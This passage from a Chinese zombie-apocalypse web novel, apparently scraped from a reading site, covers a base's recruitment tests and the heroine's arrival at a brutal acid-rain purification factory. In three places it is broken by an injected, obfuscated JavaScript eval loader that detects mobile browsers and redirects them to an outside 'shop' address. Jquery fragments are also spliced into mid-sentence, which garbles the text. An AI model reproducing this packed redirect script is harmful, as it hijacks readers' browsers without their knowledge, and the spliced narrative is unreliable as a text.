叶只秋抬眸看向侯煦阳，目光落在对方头顶的‘A’上。待在这里，是不是以后系统发布任务，自己躺着也能完成？ 想到终于可以当一只咸鱼，她忍不住傻笑起来。 侯煦阳莫名其妙看着对面突然笑开的叶只秋：“……” 花国盛：“小叶？” 叶只秋回神：“啊，好呀。” 她扭头看向霍不予，刚要开口询问丧尸王意见，突然看到一双阴骘冰冷的眼睛。 叶只秋：“霍不予？” 大佬好像不开心？ “嗯？” 转瞬间男人眼中暗茫已经散去，霍不予又恢复了那副懒散模样。 他低头看向叶只秋，随意道：“无所谓。” 叶只秋眨眨眼，怀疑刚才是自己的错觉，又或许是角度问题。 “既然几位都想留下，那跟我来参加分级评估吧。”侯煦阳将平板切换到新的页面，笑着开口。 “我们的考核评估实际就是做一些简单的测试。” 侯煦阳一边说着，一边带众人来到一处开阔的场地中，这里约篮球场大小，场地边缘放着好几个半人高的破旧木箱。 随着‘吱呀’声，侯煦阳打开箱门，单手从里面拿出几个哑铃。 “第一个是力量测试。各位自行选择合适的重量，从这里走到对面再回来，完成一圈，中途不能放下。” 狱服大汉们彼此对望一眼，龙哥率先跨出一步：“我先来。” 站在几个哑铃旁边，他依次看了一圈，最后选定肉眼可见最重的一个。 深吸一口气，龙哥俯身。 五指牢牢抓住哑铃，双臂用力一抬！ 哑铃纹丝未动。 龙哥震惊，他看向侯煦阳，刚才对方明明很轻松的样子。 侯煦阳推了推眼镜，笑着建议道：“这个哑铃目前设置的是60公斤。如果你没有长期坚持力量训练的话，建议换一个。” 他指向旁边几个小一点的：“这里还有20~40公斤的分类，最好量力而行。” “力量测试不光是考验的爆发力，还有行走过程中的握力、核心稳定等等。” 龙哥：“……” 看看对方的小身板，再看看自己壮硕的手臂，他不敢置信的又试了两次后，颓然放弃。 最后选择了30公斤哑铃出发，一圈下来手臂已经抖得不成样子。 狱服大汉们见大哥吃瘪，一个个接二连三上来尝试。无一例外，全颤巍巍下场。 侯煦阳微笑，在本子上记下名字后，依次标出：C、D、D、C、D。 叶只秋：“……” 总算知道为什么系统给大汉们的评级是C、D了，原来大家是虚壮啊。 “小叶，我先去试试。”花国盛将丁小札递给叶只秋。 “哦，花队长加油！” 叶只秋曲肘，比了个打气的手势。 丁小札乖乖站在地上，抱着叶只秋小腿，跟着攥拳，一模一样复刻。 叶只秋‘噗嗤’一下笑出声，捏了捏丁小札脸颊。 花国盛搓了搓手掌，从最小的几个哑铃试起，依次都掂了掂，最后锁定刚才龙哥没有拿起的两个。 接着在众人瞩目中，他马步微扎，气沉丹田，俯下身去。 粗糙的手掌缓缓贴近金属柄，五指用力抓了下去。紧跟着花队长肌肉绷紧，双臂用力，猛地一提。 两个60公斤的哑铃，就这么被拎了起来！ 接着，他缓缓迈出第一步，然后在众人目光下，以一种极其稳健的姿势，匀速前行。 “我的天，长官不愧是长官！” “妈呀，真的就这么提起来了？我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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所以，小豆丁刚才为什么看他笑，笑点在哪里？ 侯煦阳被霍不予盯得有点发毛，温和的笑容竟一时有点僵硬。他面对基地上层都没有这种感觉。 打起精神，侯煦阳忽略异样，开口道： “是想要尝试一下吗？但需要小心，80公斤往上在末世前是职业级了。” 侯煦阳这句话听起来很得体，实际却明显没有走心。 这种重量，普通人根本拿不起来。所谓的危险最多也就是用力不当，闪了腰。 他没有说清，拿这个级别的哑铃基本是人类力量的巅峰，属于末世前世界冠军去挑战的等级。 现在，别说世界冠军了，小小的S市，全国冠军都见不到。 霍不予：“……” 苍白的手指轻触冰凉金属，目光停在120公斤的哑铃上看了几秒后，脑中响起刚才叶只秋说的话 ——要低调。 霍不予手臂慵懒滑动，挪到80公斤位置后，两指一勾，轻轻松松将哑铃拎了出来。 恹恹抬眼，对上一张张瞠目结舌盯着自己的脸。 霍不予轻啧一声。 还怎么低调？算了那就拿一个吧…… 他单手插兜，向远处走去。 叶只秋目瞪口呆：“！” 之前给霍不予点赞的大拇指默默缩了回去。 她余光瞥向侯煦阳，男人的微笑已经彻底僵在脸上，笔尖抵在本子上正肉眼可见的震颤着。 叶只秋：不是，霍大佬刚才明明答应了自己要低调呀？！ 22. 旺卡止咬器 后面的两场测试分别是速度和耐力。 侯煦阳通过掐秒表的方式，记录同样距离下，每个人奔跑所用的时间。 虽然测试看起来简单粗暴，但实际上会逃跑在末世中是所有人不可或缺的能力。 叶只秋一圈下来，累的只剩下半条命。 穿越过来时，遇到丧尸群围追，因为地形原因她都没跑的这么快过。和这次相似的感觉甚至可以追溯到大学体测。 然而即使这么努力，叶只秋依然获得垫底‘好成绩’。 第一名是狱服大汉中的一个，他因此等级上升到C+，积分也从20变成30。 至于霍不予，丧尸王没有兴趣，直接选择了弃权。 第三项测试相对于前两项容易很多，是回答问题。只需要如实告知，最长多久没有吃饭即可。 这一次，侯煦阳身边多了个同样穿白大褂的中年人。他名叫赵荀，可以从回答者的微表情中判断对方说话真假，末世前还凭借这个本事上过很多节目。 狱服大汉们依旧率先上场，并给出了十三天的答案。 花队长则是思考过后，缓缓说出十九天半。 他们都曾经历过找不到食物，只靠水源存活。 叶只秋啧舌，她对这个世界，又多了一些认知。轮到自己时，犹豫了很久，她给出答案：一天。 “你说什么？”侯煦阳不可置信。 他上下重新审视叶只秋，以她的能力来说，实在不像能一直找到食物的，除非…… 侯煦阳眼神转向霍不予：“第二场已经弃权，第三场你也不参加吗？” “若是测评结果优秀，我可以和基地申请你的初始等级积分改为叠加式。” 霍不予拒绝：“没兴趣。” 侯煦阳加重音强调：“你知道叠加意味着什么吗？！” “正常来说，三项测试都是A级才能得到400点积分，你光第一个测试，我就给了800积分。按理说后面两项表现不佳的话，应该降级。但如果你参加第三项，完成考核，我可以根据测评水平，在第一项基础上累计。” 叶只秋：“大佬，要不咱回答一下？” 只用动动嘴巴就能获得积分，哪怕霍不予是个D级都有5点。苍蝇腿也是肉啊，小叶同学很深谋远虑。 霍不予散漫挑眉：“……” 就在叶只秋以为自己会被拒绝时，霍不予轻哼一声，走到侯煦阳面前，俯瞰两人：“不记得了。” 侯煦阳：“什么？” 霍不予有些不耐烦：“不记得上次吃饭是什么时候了。” 侯煦阳：“……” 负责微表情观察的赵荀试探问道：“超过半个月吗？” 霍不予：“嗯。” “超过一个月吗？” “嗯。” “超、超过40天吗？” “嗯。” “两个月……？” …… 问到半年，依然得到简单的一声‘嗯’后，赵荀彻底愣住，他瞳孔震颤的看向侯煦阳。 霍不予的表情没有任何谎言成分，从自己的专业层面判断，他说的是真的。但是人类怎么可能超过半年不吃东西，还继续存活？ 狱服大汉们同样陷入沉默，他们突然想到，似乎从认识霍不予以来，确实没有见过他吃东西。 叶只秋：“……” 完了，不会搞砸了吧。她不自觉有些冒冷汗，本来以为对方随便问几句就结束了，谁知道竟然一直加码。 正当她纠结这次应该编个什么理由圆谎时，突然看到侯煦阳轻笑出声。 他看着霍不予问道：“这也是祖传的手艺吗？” “没想到你竟然能压制住赵荀。是只能让别人看不出你说谎，还是你同样能检测他人谎言？” 霍不予一脸看白痴的表情看着侯煦阳：“……” 叶只秋：“？？？” 还可以这样？牛逼到一定程度之后，自然而然有人帮忙找理由。 侯煦阳：“你真的不考虑加入我的团队吗？我可以按照赵荀的积分水平给你，这在基地对于一个新人来说几乎是不可能的。” 熟知人类微表情的赵荀瑟瑟发抖，他感觉自己随时可能被侯煦阳踢出去。 疯狂运转的大脑几乎冒烟，赵荀想不出刚才自己到底错过了哪个表情，只要是人不可能没有纰漏。 眼前黑衣男人说谎的时候定然会有蛛丝马迹暴露。想起来，一定要想起来！只有回忆起来，揭穿对方才能证明自己的价值！！ 叶只秋看着冷汗冒的比自己多几倍的赵荀：“……” 呃，有点可怜。 霍不予漠然拒绝。 赵荀猛松一口气，结束自己一人的兵荒马乱。 侯煦阳面有惋惜，随后站起身，宣布测试结果： 狱服大汉们整体C级，除了其中一个跑的快些的，所有人初始积分20。 花队长综合下来B+，初始积分200。 霍不予A级，初始积分1600，若是同意加入侯煦阳团队，则可以再加400积分。 至于叶只秋和丁小札，侯煦阳看着他们，依旧笑的轻风拂面： “你们两个不合格，如果其他人不愿意赠送积分的话，很可惜，需要离开这里。” 花队长：“需要赠送多少积分？把我的给丁小札。” 当初是他向毛婉瑜提出让他们母子来平安基地的，没想到基地如今会是这样的制度。既然毛婉瑜已经不在，花国盛决定丁小札这部分积分自己来出。 侯煦阳：“每人每月最低30积分。” 他看向狱服大汉们：“你们缺少的积分，后期可以通过基地分配的每日任务补足。” “友情提示一下，”侯煦阳转向花国盛，“如果你打算替这个孩子支付，后面每个月都会是双倍开销。因为基地里的工作任务，目前没有他可以胜任的。” 花队长点头：“没事。” 侯煦阳：“确定的话，后续我会尽量将你分配到外出组。这个组别的任务积分相对较高，但是也更加危险。” 花队长：“好。” 将丁小札和花队长进行了强绑定，侯煦阳看向叶只秋：“你呢？” 叶只秋很有自知之明，望向霍不予。 “大佬，借点积分吧。” 霍不予似笑非笑：“你要多少。” 叶只秋：“100积分？” 按照侯煦阳所说，30积分是最低生活标准，那多借一点保险些。等将来自己在平安基地站稳脚跟，再还不迟。 霍不予幽幽目光斜乜过来。 叶只秋：？？啥意思，难道要多了？？ “50也行。” 小叶同学察言观色，迅速改口。 霍不予：“……” 眼神在叶只秋发怔的脸上停留了几秒，他转身和侯煦阳说道： “积分都给她吧。” 突然暴富的叶只秋：“！！！” 妈呀，以为大佬是抠，没想到其实是散财观音！！恨不得立马上去捶腿！！ 侯煦阳：“什么？” 他怀疑自己耳朵听错了。 霍不予一脸冷漠，点点叶只秋：“都转给她，我不需要。” * 叶只秋领着丁小札，跟在侯煦阳身后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032194|192313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她现在怀揣1570积分，一跃成为新人中的富婆。 侯煦阳给众人简单介绍了一下基地职位，并且根据大家测试结果，将他们进行了分组。大家由不同人带领，前往各自岗位的宿舍分区。 侯煦阳一边在前面走，一边给叶只秋介绍： “我们现在要去的是水源净化区。那里是基地的核心之一，非常重要。” “这个区域的员工不用外出面对危险，所以每日积分相对较低。” “你们、”侯旭阳余光瞥了眼叶只秋和丁小扎，“本来不配进入那里工作的，要不是……” “？？”叶只秋猛的抬头，甚至怀疑自己听错了。 从进入基地以来，侯旭阳一直是那副笑吟吟的模样。叶只秋三次测试垫底，都没听他说过什么重话。 现在刚和其他人分开，就听到“不配”两字，叶只秋一时竟没有反应过来。 她眨了眨眼。 侯煦阳的意思，是想提醒自己是靠走后门进去的？但那又咋了。回想起分开前，侯煦阳还在给霍不予抛橄榄枝，劝对方考虑加入自己团队。 叶只秋得出结论：定是因为侯旭阳对霍大佬爱而不得，所以对自己恨屋及乌了。 思索间，三人已经来到一处闸门前。 叶只秋抬头，见上面写着六个大字：酸雨净化工厂。 原来平安基地水源是这么来的…… 侯煦阳拿出通行卡，与工厂门口管事人交接了一番后，一扇小门打开。 侯煦阳：“走吧。” 他转身进入，叶只秋领着丁小扎紧跟其后。 门的另一边是一条狭长的金属走廊。 三个人的影子映在墙壁上，随着光影拉长变形。 临近尽头时，侯煦阳突然开口：“等进去后，会有人给你们安排住宿，并详细介绍岗位内容，工作要求。” 叶只秋：“哦。” “把防护带上，你们就可以进去了。”侯旭阳递来两个造型怪异的东西。 叶只秋接过。 所谓的防护更像是变异的镂空头盔。数根金属条从上面伸下，焊接在下颌一处垫片上。 叶只秋左右转了转，无法想象怎么把脑袋放进去。 侯煦阳：“……” 看着叶只秋笨拙地样子，忍了几秒后，他抬手：“拿过来，我给你们带。” 叶只秋：“……” 脾气肉眼可见越来越差啊。本来还在犹豫要不要同他签订合同，现在看来绝对不行。 脑内倒计时已经走完一半，还差12小时。 叶只秋也不再耽误时间，将头盔递了过去。早点进去，也许能在核心区找到对口人才。 侯煦阳速度很快，几分钟就给两人带好了头盔。 叶只秋听着耳边‘咔拉拉’的声音，感受着冰凉的金属箍着额头一点点收紧，下颌处也被垫片顶住，接着是脖颈一凉。 “咔哒”一声，调节好的头盔锁在颈后扣死。 叶只秋抱着丁小扎，看着古怪的彼此，歪头：怎么觉得有点眼熟？ 几秒后，她终于想起来了。 这头盔很像电影旺卡中，主角小时候带的那个外置牙齿矫正器。但下半张脸的金属丝密集很多。 叶只秋尝试的张了张嘴，发现根本办不到。带上头盔后，说话都变得困难。 她摸着唇前的细密格挡，这玩意貌似还融合了止咬器的设计原理。 不明白这种装置能防护什么…… 如果是酸雨的话，口罩都比脑袋上套个铁笼子效果强吧？ 顶着满头问号，叶只秋领着丁小扎跨进铁门…… 23. 基地斩杀线 门后的世界宽敞了很多，却依旧阴暗。 叶只秋抬眸。 头顶上天花板位置由八个巨大的塑料漏斗组成，漏斗呈磨砂状，材质很厚，隐隐能看出底部残存着干涸的水渍。它们形似牵牛花，花瓣连接位置，由很宽的金属架支撑，乍看过去，像是被风吹翻的伞骨。 漏斗管从头顶直通地板，外面同样包裹着金属。管子末端插在约三米高的巨型池子内。 叶只秋虽看不到池内具体情况，却能闻到一股刺鼻气味。那味道既像是腐败的臭鸡蛋，又像是泄露的汽车电池液。 闻的让人想吐…… 目光移动，水池前标着五个大字：收集沉淀区。 叶只秋不自觉抓紧丁小札。 两人后退几步，贴着墙壁。 众多戴着同样头盔的员工从眼前走过。他们如同设置好固定轨迹的机器人，扛着沉重的麻袋，排成一队，有序前行。 麻袋被放在水池前的空地上。卸下重物的员工们如同流水线一样返回，他们没有任何情绪波动，麻木的重复着同样流程。 叶只秋和丁小札站在墙边，像是走失的两只小蚂蚁。 他们和工厂里其他人相比，极其突兀。 叶只秋比划了一番后，让丁小札站在原地。自己回到进来的入口处。 推了推，门纹丝未动。锤击几下，还是没有任何反应。 叶只秋思索几秒，上脚！ “哐哐——”的踹门声在空间里回荡。 依然无人应答。 甚至这一番动静，没有引起任何人注意。除了丁小札跑过来外，戴着头盔的员工们甚至连偏头看他们的都没有。 整个收集沉淀区除了脚步声，格外寂静。 静的让人有些喘不过气。 “唔什……” 叶只秋想要说话，却发现带上头盔后，嘴根本张不开。 怪不得没人交谈…… 又看了几十秒，叶只秋否定了自己刚才的想法。哪怕可以说话，这里的员工也没有聊天欲望。他们不光对新人没有兴趣，就连彼此相邻的同事，都没有眼神交流。 叶只秋：“……” 接下来要怎么办？侯煦阳明明说进来后会有人详细安排。 犹豫片刻，她决定还是主动出击。 不就是不能说话嘛，这就点亮‘腹语’才能。再不济，还能比划，要知道手语可是国际通用语言。 叶只秋重振精神，迈步上前，刚拦住一人，想问问负责人在哪里…… 目光落在对方脸上的一刹那，她突然愣住。 头盔下是一张龟裂的脸，从面部轮廓和五官结构来看，她本应是个漂亮的女人。 但此时，对视过来的这张脸让人毛骨悚然。她像是被煮熟了一般，皮肤呈现暗红色。凹凸不平的疙瘩和细小水泡遍布全身。疙瘩上，鱼鳞状的皮屑翘起，层层叠叠。 仅仅是扭头这个小小的动作，她颈侧的水泡轻易被挤破，发出极小的声响。 两道水痕从女人眼角处滑落，扭扭曲曲坠入衣领。 叶只秋有些被吓到：“！！” 自己是不是不小心把她弄疼了，刚想道歉，却发现女人面无表情。 仔细看过去，叶只秋发现异常。 她的眼睛应该受过伤，所以会不自觉流泪。 眼泪经过的地方更加红肿，女人却满是麻木，她淡淡瞥了一眼叶只秋后，转身回到队伍。 全程没有任何交流，哪怕是责怪都没有。 这地方太奇怪了。 “?——！” 突然一道尖锐的哨声响起。 刚才还麻木的员工们突然加快脚步，扛着重物的快速卸货，大家训练有素的聚集到不同池子旁。 一部分人拆麻袋，一部分人跨上水池。 眼前的景象让叶只秋有些惊呆，她像是一瞬间从码头切换到工地。 “这个池子里加八袋。” “这个加六袋。” “这个……” 远处，一个脖子上挂着哨子的男人走来。 叶只秋向他看去，来人头盔和他们完全不同。对方戴的更像是常见的摩托头盔，面部是透明遮挡。 每个水池都一一交代完后，男人走到叶只秋面前，将她上下打量了一番后，开口问道：“你就是侯队长说的那个新来的？” 叶只秋：“唔噜咕……==嗯。” 说话失败，只能作罢。她指着池子比划了一圈后，看向男人。 “我叫王爽，是收集沉淀区的负责人，你跟我来吧。侯队把你分到净化区了。” 叶只秋指指自己头盔，又指指王爽的，最后敲了敲嘴巴上的金属隔挡。 “让你们戴上头盔，是为你们好。” 王爽一边在前面领路，一边开口：“你不需要提问，你能知道的我现在会告诉你，你不能知道的，问了也没用。” 他指着头顶的漏斗说道：“这是基地建造的收集伞。” “下雨的时候，工厂顶部的漏斗会把酸雨采集起来。雨停后，有员工负责初筛，把漏斗里的脏污捞出去。确定没问题，我们会打开管道，让雨水流进沉淀池。” 王爽点了点几个巨大的池子：“就是你看到的这些。” “进入沉淀池的酸雨需经过测试，判断出pH值。” “负责人，也就是我。”王爽下颌扬起，自豪道，“我会根据数值以及储水比例，给出每个沉淀池需要中和的投料数量，中和酸碱，排除废料，提取可供过滤的水源。” “……基地中，大家用的水都是来自这里。” 随着王爽的解说声，叶只秋看到麻袋里的东西被倒进水池。 白色的烟雾蒸腾而起，一种矿石粉末的味道搅合着刺鼻酸气，出现在空气中。 伴随着‘咕嘟咕嘟’的声音，有人站在池沿上，手中拿着三米多长的棍子，弓腰费力搅拌。 热气喷洒在他们脸上、手上，裸露在外的皮肤被刺激的愈发红肿。有人控制不住，想要挠抓。 王爽顺着叶只秋眼神看过去，他皱起眉，呵斥：“小心一点，不要让你们身上的垃圾掉进池子。” “若是让我发现，重量累积按日积分十倍扣除！” 叶只秋：“西么系……囧娘内积？” （什么是重量累积？） 王爽：“……” 倒是第一次见嘴巴被堵成这样，还要顽强提问的。 想想侯队交代的事，加上他长期负责沉淀区确实无聊，此时很有耐心回复叶只秋。 “能来到这儿的，基本只有两种人。一种是初始评级很差的，一种是完不成每日任务，被淘汰下来的。” 叶只秋：“……” 之前侯煦阳说水源净化是基地核心区，还以为自己走后门成功进了个清闲岗，没想到是等级对口。 王爽没有察觉叶只秋丰富的心理活动，他嗤笑着继续说道：“有人下来，自然也要让人上去。” “不管是测试失败的，还是淘汰的，所有人来了这里，都想往上爬一爬，他们怕自己被驱逐出基地，想要离边界线远一点。” “上去的办法，就是靠重量累积。” “如果月底，有人搬运的总重量超过其他人，排进历史记录前五名，就有机会转岗。” “转岗的难度很高，我记忆里成功的大概6个吧。前5个还是占了历史记录低的好处。” “你知道最后一个是怎么成功的吗？”王爽不等叶只秋回话，已经自问自答：“他把别人睡觉的时间全用来搬运了。” “加上参与一次搅拌，运送一推车废料，都可以抵100公斤。他基本遇到这种机会，每次都冲在最前面。” “虽然人被腐蚀的最后看上去很恶心，但我还是有些佩服的。” “可惜啊，听说转走没两天就死了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17034978|192313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “可能他们这些人还是适合待在这里。”王爽慢悠悠将头盔上的透明格挡拨下，“基地收纳了他们，既然没什么能力，安稳在边界线待着多好？” 叶只秋：“转七……哪尼？” （转去哪里？） “……”因为叶只秋接话太快，王爽竟然有些不适应。 他顿了几秒后，回答道：“有机会转去菜园种植区。” 叶只秋睁大眼睛：“？！” 竟然可以跨度这么大？ 和中和酸雨，天天受到有害物质侵蚀相比，菜园种植简直像是去了天堂。 但其实细想下来，所谓的重量累积不过是吊在驴鼻子前的一根胡萝卜。没有准确的数据，只告诉你超过别人，也许就能获得机会。 事实上，又有几人能触碰到这个渺茫的机会？ “你知道转去菜园是做什么吗？” 见叶只秋久久没吭声，王爽忍不住压低声音反问她。 叶只秋：“甚么？” 王爽嘴角裂开：“挑粪。” 他的笑容中带着满满的恶意：“是不是很合适？” “选拔出来的人，都是力气大，耐力强的。太适合这个工作了。哈哈哈哈哈哈哈哈。” 叶只秋：“。” 她一时不知道做何反应。 回头看向身后一个个巨大的水池，刺鼻的酸味已经减弱，取而代之的是沉闷的土霉味，那味道像是大雨后打开了一间废弃的地下室。 中和反应结束，接下来便是等待沉淀。员工们恢复了吹哨前的有序搬运，没有人偷懒…… 平安基地，一个挑粪都得用生命去争取的地方。 这一瞬间，她很想告诉别人真相，让他们不要再拼命。但细想一下，告诉了有什么用呢？ 除了让绝望的人知道钓在鼻子前的胡萝卜并不美好外，没有任何改善。 甚至他们再绝望过后，依然会努力争取这个机会。 能忍受酸雨腐蚀，能忍受皮肤灼痛，能一边沉默流泪，一边麻木背起袋袋石灰，不就是因为他们想活下去吗？ 叶只秋侧头：“你……唔甚么……咕诉唔？” （你为什么告诉我？） 王爽没有回答，而是笑着从闸门箱子中取出胶靴、围裙、橡胶手套，递给叶只秋： “穿上吧，通过这道门，就是‘蒸汽进化区’了。” “放心，你的待遇要比他们好多了。” …… 防护衣物并不像头盔一样，可以根据维度调节。 叶只秋给丁小札套的时候废了很大力气。倒不是说给小孩穿衣服难，丁小札反而很配合，但实在太大了。 尤其胶靴对于三岁孩童来说，简直像是把他装进两个船里。哪怕是最小号，长度也到达大腿。 叶只秋：“……” 思考几秒，将丁小札围裙的带子拆下，随后在胶靴上磨了四个洞。改造一番后，给他重新套上。带子绑着胶靴，从肩上跨过。 叶只秋满意：背带鞋|?''-''?)?? “……”王爽无语的看着叶只秋，见她还在继续裹丁小札，弄得幼崽像个男版小红帽一样，忍不住开口阻止，“行了。” 叶只秋：“*谁&%叽道……#%#￥负折……” （谁知道净化区是什么情况呀？沉淀区这么恐怖，都不发护具……现在竟然给了胶鞋，不穿好那是对自己不负责！别想误导我……） 王爽一脸懵。 只知道对方叽里咕噜说了一堆。因为太快，完全无法识别。但看叶只秋手上动作没停，显然整段话都是拒绝的。 算了，反正马上完成任务了，让她随便折腾吧。 终于，在叶只秋成功将丁小札裹成个粽子后，她满意停手。 随着沉重金属门打开，热气铺面而来。 叶只秋眯着眼，还没看向门后景象，已经被王爽推了进去……